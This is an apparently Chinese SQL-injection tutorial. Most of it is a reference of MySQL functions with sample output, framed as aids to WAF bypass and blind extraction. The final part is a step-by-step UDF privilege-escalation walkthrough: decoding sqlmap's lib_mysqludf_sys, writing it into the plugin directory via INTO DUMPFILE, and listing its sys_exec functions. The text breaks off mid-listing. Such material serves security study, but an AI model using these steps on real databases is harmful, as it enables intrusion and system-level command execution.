在 sql 注入时为了应对各种限制措施,利用数据库自带的一些系统函数经过各种变换之后可以绕过一些 安全设备或者一些基础防御的措施,比如一些字符串转换的函数、截取字符串长度的函数等,
应用的场景包括:通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等
MySQL自带函数的功能与用法 MySQL 字符串函数 1.ASCII(s)
返回字符串 s 的第一个字符的 ASCII 码
1 2 3 4 5 6 SELECT ASCII('MySQL') AS NumCodeOfFirstChar; +--------------------+ | NumCodeOfFirstChar | +--------------------+ | 77 | +--------------------+
2.CHAR_LENGTH(s)
返回字符串 s 的字符数
1 2 3 4 5 6 SELECT CHAR_LENGTH("MySQL") AS LengthOfString; +----------------+ | LengthOfString | +----------------+ | 5 | +----------------+
3.CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串
1 2 3 4 5 6 SELECT CONCAT ('I',' ','am',' ','learning',' ','MySQL','.') AS ConcatenatedString; +----------------------+ | ConcatenatedString | +----------------------+ | I am learning MySQL. | +----------------------+
注意区别 CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
与 group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
可配合group_by 使用
4.FIELD(s,s1,s2…)
返回第一个字符串 s 在字符串列表(s1,s2…)中的位置
1 2 3 4 5 6 SELECT FIELD("c", "a", "b", "c", "d", "e"); +-------------------------------------+ | FIELD("c", "a", "b", "c", "d", "e") | +-------------------------------------+ | 3 | +-------------------------------------+
5.FIND_IN_SET(s1,s2)
返回在字符串s2中与s1匹配的字符串的位置
1 2 3 4 5 6 SELECT FIND_IN_SET('c','a,b,c,d,e'); +------------------------------+ | FIND_IN_SET('c','a,b,c,d,e') | +------------------------------+ | 3 | +------------------------------+
6.FORMAT(x,n)
函数可以将数字 x 进行格式化 “#,###.##”, 将 x 保留到小数点后 n 位,最后一位四舍五入。
1 2 3 4 5 6 SELECT FORMAT(3.1415926535,4); +------------------------+ | FORMAT(3.1415926535,4) | +------------------------+ | 3.1416 | +------------------------+
7.INSERT(s1,x,len,s2)
字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串
1 2 3 4 5 6 SELECT INSERT('MySQL',1,2,'Your'); +----------------------------+ | INSERT('MySQL',1,2,'Your') | +----------------------------+ | YourSQL | +----------------------------+
8.LOCATE(s1,s)
从字符串 s 中获取 s1 的开始位置
1 2 3 4 5 6 SELECT LOCATE('SQL','MySQL'); +-----------------------+ | LOCATE('SQL','MySQL') | +-----------------------+ | 3 | +-----------------------+
9.LOWER(s)|LCASE(s)
将字符串 s 的所有字母变成小写字母
1 2 3 4 5 6 7 8 9 10 11 12 SELECT LOWER('MYSQL'); +----------------+ | LOWER('MYSQL') | +----------------+ | mysql | +----------------+ SELECT LCASE('MYSQL'); +----------------+ | LCASE('MYSQL') | +----------------+ | mysql | +----------------+
10.UPPER(s)|UCASE(s)
将字符串 s 的所有字母变成大写字母
1 2 3 4 5 6 7 8 9 10 11 12 SELECT UPPER('mysql'); +----------------+ | UPPER('mysql') | +----------------+ | MYSQL | +----------------+ SELECT UCASE('mysql'); +----------------+ | UCASE('mysql') | +----------------+ | MYSQL | +----------------+
11.LEFT(s,n)
返回字符串 s 的前 n 个字符
1 2 3 4 5 6 SELECT LEFT('MySQL',2); +-----------------+ | LEFT('MySQL',2) | +-----------------+ | My | +-----------------+
12.RIGHT(s,n)
返回字符串 s 的后 n 个字符
1 2 3 4 5 6 SELECT RIGHT('MySQL',3); +------------------+ | RIGHT('MySQL',3) | +------------------+ | SQL | +------------------+
13.LPAD(s1,len,s2)
在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len
1 2 3 4 5 6 SELECT LPAD('SQL',7,'My'); +--------------------+ | LPAD('SQL',7,'My') | +--------------------+ | MyMySQL | +--------------------+
14.RPAD(s1,len,s2)
在字符串 s1 的结尾处添加字符串 s2,使字符串的长度达到 len
1 2 3 4 5 6 SELECT RPAD ('My',8,'SQL'); +---------------------+ | RPAD ('My',8,'SQL') | +---------------------+ | MySQLSQL | +---------------------+
15.LTRIM(s)
去掉字符串 s 开始处的空格
1 2 3 4 5 6 SELECT LTRIM(' MySQL') AS LeftTrimmedString; +-------------------+ | LeftTrimmedString | +-------------------+ | MySQL | +-------------------+
16.RTRIM(s)
去掉字符串 s 结尾处的空格
1 2 3 4 5 6 SELECT RTRIM ('MySQL '); +-----------------------+ | RTRIM ('MySQL ') | +-----------------------+ | MySQL | +-----------------------+
17.TRIM(s)
去掉字符串 s 开始和结尾处的空格
1 2 3 4 5 6 SELECT TRIM(' MySQL ') AS TrimmedString; +---------------+ | TrimmedString | +---------------+ | MySQL | +---------------+
18.MID(s,n,len)|SUBSTR(s, n, len)|SUBSTRING(s, n, len)
从字符串 s 的 n 位置截取长度为 len 的子字符串
1 2 3 4 5 6 SELECT MID('MySQL',3,3) AS ExtractString; +---------------+ | ExtractString | +---------------+ | SQL | +---------------+
19.REPEAT(s,n)
将字符串 s 重复 n 次
1 2 3 4 5 6 SELECT REPEAT('MySQL',3); +-------------------+ | REPEAT('MySQL',3) | +-------------------+ | MySQLMySQLMySQL | +-------------------+
20.REPLACE(s,s1,s2)
将字符串 s2 替代字符串 s 中的字符串 s1
1 2 3 4 5 6 SELECT REPLACE ('MySQL','My','Your'); +-------------------------------+ | REPLACE ('MySQL','My','Your') | +-------------------------------+ | YourSQL | +-------------------------------+
21.REVERSE(s)
将字符串s的顺序反过来
1 2 3 4 5 6 SELECT REVERSE ('MySQL'); +-------------------+ | REVERSE ('MySQL') | +-------------------+ | LQSyM | +-------------------+
22.SPACE (s)
返回n个空格
1 2 3 4 5 6 SELECT SPACE (10); +------------+ | SPACE (10) | +------------+ | | +------------+
23.STRCMP(s1,s2)
比较字符串 s1 和 s2,如果 s1 与 s2 相等返回 0 ,如果 s1>s2 返回 1,如果 s1<s2 返回 -1
1 2 3 4 5 6 SELECT STRCMP ('MySQL','MySQL'); +--------------------------+ | STRCMP ('MySQL','MySQL') | +--------------------------+ | 0 | +--------------------------+
24.SUBSTRING_INDEX(s, delimiter, number)
返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',2); +------------------------------------+ | SUBSTRING_INDEX('M*y*S*Q*L','*',2) | +------------------------------------+ | M*y | +------------------------------------+ SELECT SUBSTRING_INDEX('M*y*S*Q*L','*',-3); +-------------------------------------+ | SUBSTRING_INDEX('M*y*S*Q*L','*',-3) | +-------------------------------------+ | S*Q*L | +-------------------------------------+ SELECT SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2); +------------------------------------------------------------+ | SUBSTRING_INDEX(SUBSTRING_INDEX('M*y*S*Q*L','*',-3),'*',2) | +------------------------------------------------------------+ | S*Q | +------------------------------------------------------------+
MySQL 数字函数 1.ABS(x)
返回 x 的绝对值
1 2 3 4 5 6 SELECT ABS(-1); +---------+ | ABS(-1) | +---------+ | 1 | +---------+
2.AVG(expression)
返回一个表达式的平均值,expression 是一个字段
1 2 3 4 5 6 SELECT AVG(Price) AS AveragePrice FROM Products; +--------------+ | AveragePrice | +--------------+ | 456.0000 | +--------------+
3.三角函数(参数x是弧度)
SIN(x) | COS(x) | TAN(x) | COT(x) | ASIN(x) | ACOS(x) | ATAN(x)
4.DEGREES(x)
将弧度转换为角度
1 2 3 4 5 6 SELECT DEGREES(3.1415926535898) ; +--------------------------+ | DEGREES(3.1415926535898) | +--------------------------+ | 180.0000000000004 | +--------------------------+
5.CEIL(x)
返回大于或等于 x 的最小整数
1 2 3 4 5 6 SELECT CEIL (0.1); +------------+ | CEIL (0.1) | +------------+ | 1 | +------------+
6.FLOOR(x)
返回小于或等于 x 的最大整数
1 2 3 4 5 6 SELECT FLOOR(-0.1); +-------------+ | FLOOR(-0.1) | +-------------+ | -1 | +-------------+
7.COUNT(expression)
返回查询的记录总数,expression 参数是一个字段或者 * 号
1 2 3 4 5 6 SELECT COUNT(User) AS User_number FROM user; +-------------+ | User_number | +-------------+ | 6 | +-------------+
8.n DIV m
整除,n 为被除数,m 为除数
1 2 3 4 5 6 SELECT 10 DIV 5; +----------+ | 10 DIV 5 | +----------+ | 2 | +----------+
9.MOD(x,y)
返回 x 除以 y 以后的余数
1 2 3 4 5 6 SELECT MOD(5,2); +----------+ | MOD(5,2) | +----------+ | 1 | +----------+
10.EXP(x)
返回 e 的 x 次方
1 2 3 4 5 6 SELECT EXP(3) ; +--------------------+ | EXP(3) | +--------------------+ | 20.085536923187668 | +--------------------+
11.GREATEST(expr1, expr2, expr3, …)
返回列表中的最大值
1 2 3 4 5 6 7 8 9 10 11 12 SELECT GREATEST(3, 12, 34, 8, 25); +----------------------------+ | GREATEST(3, 12, 34, 8, 25) | +----------------------------+ | 34 | +----------------------------+ SELECT GREATEST('MySQL','Oracle','MariaDB'); +--------------------------------------+ | GREATEST('MySQL','Oracle','MariaDB') | +--------------------------------------+ | Oracle | +--------------------------------------+
12.LEAST(expr1, expr2, expr3, …)
返回列表中的最小值
1 2 3 4 5 6 SELECT LEAST(3, 12, 34, 8, 25); +-------------------------+ | LEAST(3, 12, 34, 8, 25) | +-------------------------+ | 3 | +-------------------------+
13.MAX(expression)
返回字段 expression 中的最大值
1 2 3 4 5 6 SELECT MAX(Price) AS LargestPrice FROM Products; +--------------+ | LargestPrice | +--------------+ | 789 | +--------------+
14.MIN(expression)
返回字段 expression 中的最小值
1 2 3 4 5 6 SELECT MIN(Price) AS MinPrice FROM Products; +----------+ | MinPrice | +----------+ | 123 | +----------+
15.对数计算
LOG(x) 返回数字的自然对数,以 e 为底。
LOG(n, x) 返回以n为底,数字x的对数。
LOG2(x) 返回以 2 为底的对数。
LOG10(x) 返回以 10 为底的对数。
16.PI()
返回圆周率(3.141593)
17.POW(x,y) | POWER(x,y)
返回 x 的 y 次方
1 2 3 4 5 6 7 8 9 10 11 12 SELECT POW (2,3); +-----------+ | POW (2,3) | +-----------+ | 8 | +-----------+ SELECT POWER(2,3); +------------+ | POWER(2,3) | +------------+ | 8 | +------------+
18.RADIANS(x)
将角度转换为弧度
1 2 3 4 5 6 SELECT RADIANS(180); +-------------------+ | RADIANS(180) | +-------------------+ | 3.141592653589793 | +-------------------+
19.RAND()
返回 0 到 1 的随机数
1 2 3 4 5 6 SELECT RAND(); +--------------------+ | RAND() | +--------------------+ | 0.8029554586885083 | +--------------------+
20.ROUND(x)
返回离 x 最近的整数
1 2 3 4 5 6 7 8 9 10 11 12 SELECT ROUND(1.49999999999); +----------------------+ | ROUND(1.49999999999) | +----------------------+ | 1 | +----------------------+ SELECT ROUND(1.5); +------------+ | ROUND(1.5) | +------------+ | 2 | +------------+
21.SIGN(x)
返回 x 的符号,x 是负数、0、正数分别返回 -1、0 和 1
1 2 3 4 5 6 SELECT SIGN(-1); +----------+ | SIGN(-1) | +----------+ | -1 | +----------+
22.SQRT(x)
返回x的平方根
1 2 3 4 5 6 SELECT SQRT(4); +---------+ | SQRT(4) | +---------+ | 2 | +---------+
23.SUM(expression)
返回指定字段的总和
1 2 3 4 5 6 SELECT SUM(Price) FROM Products; +------------+ | SUM(Price) | +------------+ | 1368 | +------------+
24.TRUNCATE(x,y)
返回数值 x 保留到小数点后 y 位的值(与 ROUND 最大的区别是不会进行四舍五入)
1 2 3 4 5 6 SELECT TRUNCATE(1.23456,3); +---------------------+ | TRUNCATE(1.23456,3) | +---------------------+ | 1.234 | +---------------------+
MySQL 日期函数 1.ADDDATE(d,n)
计算起始日期 d 加上 n 天的日期
1 2 3 4 5 6 SELECT ADDDATE('2020-2-1',30); +------------------------+ | ADDDATE('2020-2-1',30) | +------------------------+ | 2020-03-02 | +------------------------+
2.ADDTIME(t,n)
n 是一个时间表达式,时间 t 加上时间表达式 n
1 2 3 4 5 6 SELECT ADDTIME('2020-11-10 20:00:00','4:0:0'); +----------------------------------------+ | ADDTIME('2020-11-10 20:00:00','4:0:0') | +----------------------------------------+ | 2020-11-11 00:00:00 | +----------------------------------------+
3.DATE_ADD(d,INTERVAL expr type)
计算起始日期 d 加上一个时间段后的日期
1 2 3 4 5 6 SELECT DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE); +----------------------------------------------------+ | DATE_ADD('2020-11-11 11:11:11' ,INTERVAL 5 MINUTE) | +----------------------------------------------------+ | 2020-11-11 11:16:11 | +----------------------------------------------------+
4.当前日期时间
CURDATE() | CURRENT_DATE() 返回当前日期
CURTIME() | CURRENT_TIME 返回当前时间
NOW() | CURRENT_TIMESTAMP() | LOCALTIME() |LOCALTIMESTAMP() | SYSDATE() 返回当前日期和时间
5.DATE(t) | HOUR(t) | MINUTE(t) |SECOND(t)
从日期或日期时间表达式中提取日期值|小时值|分钟值|秒钟值
1 2 3 4 5 6 SELECT DATE('2020-11-11 0:0:0'); +--------------------------+ | DATE('2020-11-11 0:0:0') | +--------------------------+ | 2020-11-11 | +--------------------------+
6.DATEDIFF(d1,d2)
计算日期 d1->d2 之间相隔的天数
1 2 3 4 5 6 SELECT DATEDIFF('2020-11-22','2021-6-7'); +-----------------------------------+ | DATEDIFF('2020-11-22','2021-6-7') | +-----------------------------------+ | -197 | +-----------------------------------+
7.DATE_FORMAT(d,f)
按表达式 f的要求显示日期 d
1 2 3 4 5 6 SELECT DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r'); +--------------------------------------------------+ | DATE_FORMAT('2011-11-11 11:11:11','%Y-%m-%d %r') | +--------------------------------------------------+ | 2011-11-11 11:11:11 AM | +--------------------------------------------------+
8.DATE_SUB(date,INTERVAL expr type)
函数从日期减去指定的时间间隔。
1 2 3 4 5 6 7 8 9 10 11 12 select * from Orders; +---------+------------+ | OrderId | OrderDate | +---------+------------+ | 1 | 2020-11-11 | +---------+------------+ SELECT OrderId,DATE_SUB(OrderDate,INTERVAL 2 DAY) AS OrderPayDate FROM Orders; +---------+--------------+ | OrderId | OrderPayDate | +---------+--------------+ | 1 | 2020-11-09 | +---------+--------------+
9.DAY(d)
返回日期值 d 的日期部分
1 2 3 4 5 6 SELECT DAY('2020-11-11') AS day; +------+ | day | +------+ | 11 | +------+
10.DAYNAME(d)
返回日期 d 是星期几,如 Monday,Tuesday
1 2 3 4 5 6 SELECT DAYNAME('2020-11-11'); +-----------------------+ | DAYNAME('2020-11-11') | +-----------------------+ | Wednesday | +-----------------------+
11.DAYOFYEAR(d)
计算日期 d 是本年的第几天
1 2 3 4 5 6 SELECT DAYOFYEAR ('2020-11-11'); +--------------------------+ | DAYOFYEAR ('2020-11-11') | +--------------------------+ | 316 | +--------------------------+
12.EXTRACT(type FROM d)
从日期 d 中获取指定的值,type 指定返回的值。 type可取值为:
MICROSECOND
SECOND
MINUTE
HOUR
DAY
WEEK
MONTH
QUARTER
YEAR
SECOND_MICROSECOND
MINUTE_MICROSECOND
MINUTE_SECOND
HOUR_MICROSECOND
HOUR_SECOND
HOUR_MINUTE
DAY_MICROSECOND
DAY_SECOND
DAY_MINUTE
DAY_HOUR
YEAR_MONTH
1 2 3 4 5 6 SELECT EXTRACT(MINUTE FROM '2020-11-11 11:11:11'); +--------------------------------------------+ | EXTRACT(MINUTE FROM '2020-11-11 11:11:11') | +--------------------------------------------+ | 11 | +--------------------------------------------+
13.FROM_DAYS(n)
计算从 0000 年 1 月 1 日开始 n 天后的日期
1 2 3 4 5 6 SELECT FROM_DAYS(9999); +-----------------+ | FROM_DAYS(9999) | +-----------------+ | 0027-05-18 | +-----------------+
14.TO_DAYS(d)
计算日期 d 距离 0000 年 1 月 1 日的天数
1 2 3 4 5 6 SELECT TO_DAYS('0027-05-18'); +-----------------------+ | TO_DAYS('0027-05-18') | +-----------------------+ | 9999 | +-----------------------+
15.LAST_DAY(d)
返回给定日期的那一月份的最后一天
1 2 3 4 5 6 SELECT LAST_DAY('2020-2-1'); +----------------------+ | LAST_DAY('2020-2-1') | +----------------------+ | 2020-02-29 | +----------------------+
16.MAKEDATE(year, day-of-year)
基于给定参数年份 year 和所在年中的天数序号 day-of-year 返回一个日期
1 2 3 4 5 6 SELECT MAKEDATE(2020,300); +--------------------+ | MAKEDATE(2020,300) | +--------------------+ | 2020-10-26 | +--------------------+
17.MAKETIME(hour, minute, second)
组合时间,参数分别为小时、分钟、秒
1 2 3 4 5 6 SELECT MAKETIME(1,2,3); +-----------------+ | MAKETIME(1,2,3) | +-----------------+ | 01:02:03 | +-----------------+
18.MONTHNAME(d)
返回日期当中的月份名称,如 November
1 2 3 4 5 6 SELECT MONTHNAME('2020-11-11'); +-------------------------+ | MONTHNAME('2020-11-11') | +-------------------------+ | November | +-------------------------+
19.PERIOD_ADD(period, number)
为 年-月 组合日期添加一个时段
1 2 3 4 5 6 SELECT PERIOD_ADD(202011,7); +----------------------+ | PERIOD_ADD(202011,7) | +----------------------+ | 202106 | +----------------------+
20.PERIOD_DIFF(period1, period2)
返回两个时段之间的月份差值
1 2 3 4 5 6 SELECT PERIOD_DIFF(202011,202109); +----------------------------+ | PERIOD_DIFF(202011,202109) | +----------------------------+ | -10 | +----------------------------+
21.TIMEDIFF(time1, time2)
计算时间差值
1 2 3 4 5 6 SELECT TIMEDIFF('1:2:3','4:5:6'); +---------------------------+ | TIMEDIFF('1:2:3','4:5:6') | +---------------------------+ | -03:03:03 | +---------------------------+
22.QUARTER(d)
返回日期d是第几季节,返回 1 到 4
1 2 3 4 5 6 SELECT QUARTER('2020-11-11'); +-----------------------+ | QUARTER('2020-11-11') | +-----------------------+ | 4 | +-----------------------+
23.SEC_TO_TIME(s)
将以秒为单位的时间 s 转换为时分秒的格式
1 2 3 4 5 6 SELECT SEC_TO_TIME(9999); +-------------------+ | SEC_TO_TIME(9999) | +-------------------+ | 02:46:39 | +-------------------+
24.TIME_TO_SEC(t)
将时间 t 转换为秒
1 2 3 4 5 6 SELECT TIME_TO_SEC('02:46:39'); +-------------------------+ | TIME_TO_SEC('02:46:39') | +-------------------------+ | 9999 | +-------------------------+
25.STR_TO_DATE(string, format_mask)
将字符串转变为日期
1 2 3 4 5 6 SELECT STR_TO_DATE('November 11 2020', '%M %d %Y'); +---------------------------------------------+ | STR_TO_DATE('November 11 2020', '%M %d %Y') | +---------------------------------------------+ | 2020-11-11 | +---------------------------------------------+
26.SUBDATE(d,n)
日期 d 减去 n 天后的日期
1 2 3 4 5 6 SELECT SUBDATE('2020-11-11 11:11:11', 366); +-------------------------------------+ | SUBDATE('2020-11-11 11:11:11', 366) | +-------------------------------------+ | 2019-11-11 11:11:11 | +-------------------------------------+
27.SUBTIME(t,n)
时间 t 减去 n 秒的时间
1 2 3 4 5 6 SELECT SUBTIME('2020-11-11 11:11:11', 11); +------------------------------------+ | SUBTIME('2020-11-11 11:11:11', 11) | +------------------------------------+ | 2020-11-11 11:11:00 | +------------------------------------+
28.TIME(expression)
提取传入表达式的时间部分
1 2 3 4 5 6 SELECT TIME('2020-11-11 19:30:00'); +-----------------------------+ | TIME('2020-11-11 19:30:00') | +-----------------------------+ | 19:30:00 | +-----------------------------+
29.TIME_FORMAT(t,f)
按表达式 f 的要求显示时间 t
1 2 3 4 5 6 SELECT TIME_FORMAT('11:11:11','%r'); +------------------------------+ | TIME_FORMAT('11:11:11','%r') | +------------------------------+ | 11:11:11 AM | +------------------------------+
30.WEEK(d)
计算日期 d 是本年的第几个星期,范围是 0 到 53
1 2 3 4 5 6 SELECT WEEK('2020-11-11 11:11:11'); +-----------------------------+ | WEEK('2020-11-11 11:11:11') | +-----------------------------+ | 45 | +-----------------------------+
MySQL 高级函数 1.BIN(x) | OCT(x) | HEX(x)
返回 x 的二进制编码|八进制编码|十六进制编码
1 2 3 4 5 6 SELECT BIN(10); +---------+ | BIN(10) | +---------+ | 1010 | +---------+
2.BINARY(s)
将字符串 s 转换为二进制字符串
1 2 3 4 5 6 SELECT BINARY 'MySQL'; +--------------------------------+ | BINARY 'MySQL' | +--------------------------------+ | 0x4D7953514C | +--------------------------------+
3.条件判断函数
1 2 3 4 5 6 7 CASE expression WHEN condition1 THEN result1 WHEN condition2 THEN result2 ... WHEN conditionN THEN resultN ELSE result END
CASE 表示函数开始,END 表示函数结束。如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 SELECT CASE -> WHEN '1 > 0' THEN '1 > 0' -> WHEN '2 > 0' THEN '2 > 0' -> ELSE '3 > 0' -> END; +----------------------------------------------------------------------------+ | CASE WHEN '1 > 0' THEN '1 > 0' WHEN '2 > 0' THEN '2 > 0' ELSE '3 > 0' END | +----------------------------------------------------------------------------+ | 1 > 0 | +----------------------------------------------------------------------------+
4.CAST(x AS type)
转换数据类型
1 2 3 4 5 6 SELECT CAST("2020-11-11" AS DATE); +----------------------------+ | CAST("2020-11-11" AS DATE) | +----------------------------+ | 2020-11-11 | +----------------------------+
5.COALESCE(expr1, expr2, …., expr_n)
返回参数中的第一个非空表达式(从左向右)
1 2 3 4 5 6 SELECT COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL); +------------------------------------------------+ | COALESCE(NULL,NULL,'MySQL',NULL,'Oracle',NULL) | +------------------------------------------------+ | MySQL | +------------------------------------------------+
6.CONNECTION_ID()
返回唯一的连接 ID
1 2 3 4 5 6 SELECT CONNECTION_ID(); +-----------------+ | CONNECTION_ID() | +-----------------+ | 11 | +-----------------+
7.CONV(x,f1,f2)
返回 f1 进制数变成 f2 进制数
1 2 3 4 5 6 SELECT CONV(10,10,2); +---------------+ | CONV(10,10,2) | +---------------+ | 1010 | +---------------+
8.CONVERT(s USING cs)
函数将字符串 s 的字符集变成 cs
1 2 3 4 5 6 7 8 9 10 11 12 SELECT CHARSET('ABC'); +----------------+ | CHARSET('ABC') | +----------------+ | utf8mb4 | +----------------+ SELECT CHARSET(CONVERT('ABC' USING gbk)); +-----------------------------------+ | CHARSET(CONVERT('ABC' USING gbk)) | +-----------------------------------+ | gbk | +-----------------------------------+
9.USER() |CURRENT_USER() |SESSION_USER() |SYSTEM_USER()
返回当前用户
1 2 3 4 5 6 SELECT CURRENT_USER(); +----------------+ | CURRENT_USER() | +----------------+ | root@% | +----------------+
10.DATABASE()
返回当前数据库名
1 2 3 4 5 6 SELECT DATABASE(); +------------+ | DATABASE() | +------------+ | mysql | +------------+
11.IF(expr,v1,v2)
如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
1 2 3 4 5 6 SELECT IF(1 > 0,'正确','错误'); +-----------------------------+ | IF(1 > 0,'正确','错误') | +-----------------------------+ | 正确 | +-----------------------------+
12.IFNULL(v1,v2)
如果 v1 的值不为 NULL,则返回 v1,否则返回 v2。
1 2 3 4 5 6 SELECT IFNULL(null,'Hello Word'); +---------------------------+ | IFNULL(null,'Hello Word') | +---------------------------+ | Hello Word | +---------------------------+
13.ISNULL(expression)
判断表达式是否为 NULL
1 2 3 4 5 6 SELECT ISNULL(NULL); +--------------+ | ISNULL(NULL) | +--------------+ | 1 | +--------------+
14.LAST_INSERT_ID()
返回最近生成的 AUTO_INCREMENT 值
1 2 3 4 5 6 SELECT LAST_INSERT_ID(); +------------------+ | LAST_INSERT_ID() | +------------------+ | 0 | +------------------+
15.NULLIF(expr1, expr2)
比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1
1 2 3 4 5 6 7 SELECT NULLIF(25, 25); +----------------+ | NULLIF(25, 25) | +----------------+ | NULL | +----------------+
16.VERSION()
查看MySQL版本
返回数据库的版本号
1 2 3 4 5 6 7 8 SELECT VERSION(); +-------------------------+ | VERSION() | +-------------------------+ | 8.0.22-0ubuntu0.20.04.2 | +-------------------------+
17.MD5()
加密函数
1 2 3 4 5 6 SELECT MD5('123456'); +----------------------------------+ | MD5('123456') | +----------------------------------+ | e10adc3949ba59abbe56e057f20f883e | +----------------------------------+
18.IP地址与数字相互转换的函数
IP地址转换为数字表示
将数字n转换成IP形式
1 2 3 4 5 6 7 8 9 10 11 12 13 SELECT INET_ATON('192.168.0.1'); +--------------------------+ | INET_ATON('192.168.0.1') | +--------------------------+ | 3232235521 | +--------------------------+ SELECT INET_NTOA(3232235521); +-----------------------+ | INET_NTOA(3232235521) | +-----------------------+ | 192.168.0.1 | +-----------------------+
19.加锁函数和解锁函数
GET_LOCK(name,time)函数定义一个名称为name、持续时间长度为time秒的锁。如果锁定成功,则返回1;如果尝试超时,则返回0;如果遇到错误,返回NULL。
RELEASE_LOCK(name)函数解除名称为name的锁。如果解锁成功,则返回1;如果尝试超时,返回0;如果解锁失败,返回NULL;
IS_FREE_LOCK(name)函数判断是否已使用名为name的锁定。如果使用,返回0,否则,返回1;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 SELECT GET_LOCK('MySQL',10); +----------------------+ | GET_LOCK('MySQL',10) | +----------------------+ | 1 | +----------------------+ SELECT IS_FREE_LOCK('MySQL'); +-----------------------+ | IS_FREE_LOCK('MySQL') | +-----------------------+ | 0 | +-----------------------+ SELECT RELEASE_LOCK('MySQL'); +-----------------------+ | RELEASE_LOCK('MySQL') | +-----------------------+ | 1 | +-----------------------+
20.@@datadir 数据库路径
@@version_compile_os 操作系统版本
21.sleep(N)
执行select sleep(N)可以让此语句运行N秒钟
前提条件: 指定条件的记录存在时才会停止指定的秒数
1 2 3 4 5 6 7 mysql> select sleep(1),database(),version(),user(); +----------+------------+-------------------------+----------------+ | sleep(1) | database() | version() | user() | +----------+------------+-------------------------+----------------+ | 0 | test | 8.0.22-0ubuntu0.20.04.2 | root@localhost | +----------+------------+-------------------------+----------------+ 1 row in set (1.00 sec)
MySQL 执行系统命令 在 MySQL 的命令行界面中可以使用 system shell-cmd
或者\! shell-cmd
格式执行 shell 命令。
实例:
1 2 3 4 mysql> system ls /var/www example.com html mysql> \! ls /var/www example.com html
也可以打开一个新的 shell,关闭 shell (使用 exit 或者 CTRL D)后返回 MySQL 命令行界面。
1 2 3 4 5 6 7 mysql> \! bash root@linux:/var/www/html/project# cd ~ root@linux:~# ls snap root@linux:~# exit exit mysql>
UDF提权执行系统命令
UDF 为 “User-Defined Function” 的所写,即用户自定义函数。MySQL 允许用户添加新的函数,其中一种方法就是通过其提供的 UDF 接口,添加用户自定义函数。用户自定义函数可以使用 C/C++ 语言编写并编译成库文件(其它语言也可以,只要能编译成共享库文件),放到 MySQL 指定的目录下,以便 MySQL 能动态加载用户自定义的函数。
使用 UDF 可以加载自定义的函数,因此可以通过自定义函数执行各种操作,关于用户自定义函数的编写可参考,Extending MySQL
udf提权 1)原理 :UDF提权是利用MySQL的自定义函数功能,构造特定的DLL将Mysql账号转化为系统system权限
2)条件
MySQL 用户能写文件到 MySQL 指定的自定义函数库存放目录。
MySQL 用户具有 INSERT
权限,才能使用 CREATE FUNCTION
语句在 MySQL 中添加自定义的函数,此外如果使用 DROP FUNCTION
语句删除自定义函数,还需要有 DELETE
权限。
查看secure_file_priv
的值
1 2 3 show global variables like 'secure%'; 当secure_file_priv的值为NULL或/tmp/时,此时无法提权 当secure_file_priv的值没有具体值时,则可以提权
udf文件 对于udf文件,在sqlmap工具中自带就有,或github 里搜索,只要找对应操作系统的版本即可
查看系统架构
1 show variables like '%compile%'; 查看主机版本及架构
Windows下是.dll文件;linux下是.so文件
在 sqlmap\data\udf\mysql\windows|linux\64|32目录下存放着lib_mysqludf_sys.dll__|.so_
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具cloak.py解码后,再直接利用。
进入到 sqlmap\extra\cloak 目录下,执行命令:
1 python clock.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
然后会生成一个lib_mysqludf_sys.so文件
使用udf 1)将udf文件放到指定位置
得到插件库路径
1 show variables like "%plugin%";
得到udf文件的十六进制格式,可在本地通过
1 select hex(load_file('/usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
#windows下cmd命令行处理
1 certutil -encodehex -f -v lib_mysqludf_sys.dll 1.txt 4
写入插件库
1 select '7F454C46020...' into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
2)从udf文件中引入自定义函数
查看下这个udf库所支持的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 root@linux:~# nm -D /usr/lib/mysql/plugin/lib_mysqludf_sys.so w _Jv_RegisterClasses 0000000000201788 A __bss_start w __cxa_finalize w __gmon_start__ 0000000000201788 A _edata 0000000000201798 A _end 0000000000001178 T _fini 0000000000000ba0 T _init U fgets U fork U free U getenv 000000000000101a T lib_mysqludf_sys_info 0000000000000da4 T lib_mysqludf_sys_info_deinit 0000000000001047 T lib_mysqludf_sys_info_init U malloc U mmap U pclose U popen U realloc U setenv U strcpy U strncpy 0000000000000dac T sys_bineval 0000000000000dab T sys_bineval_deinit 0000000000000da8 T sys_bineval_init 0000000000000e46 T sys_eval 0000000000000da7 T sys_eval_deinit 0000000000000f2e T sys_eval_init 0000000000001066 T sys_exec 0000000000000da6 T sys_exec_deinit 0000000000000f57 T sys_exec_init 00000000000010f7 T sys_get 0000000000000da5 T sys_get_deinit 0000000000000fea T sys_get_init 000000000000107a T sys_set 00000000000010e8 T sys_set_deinit 0000000000000f80 T 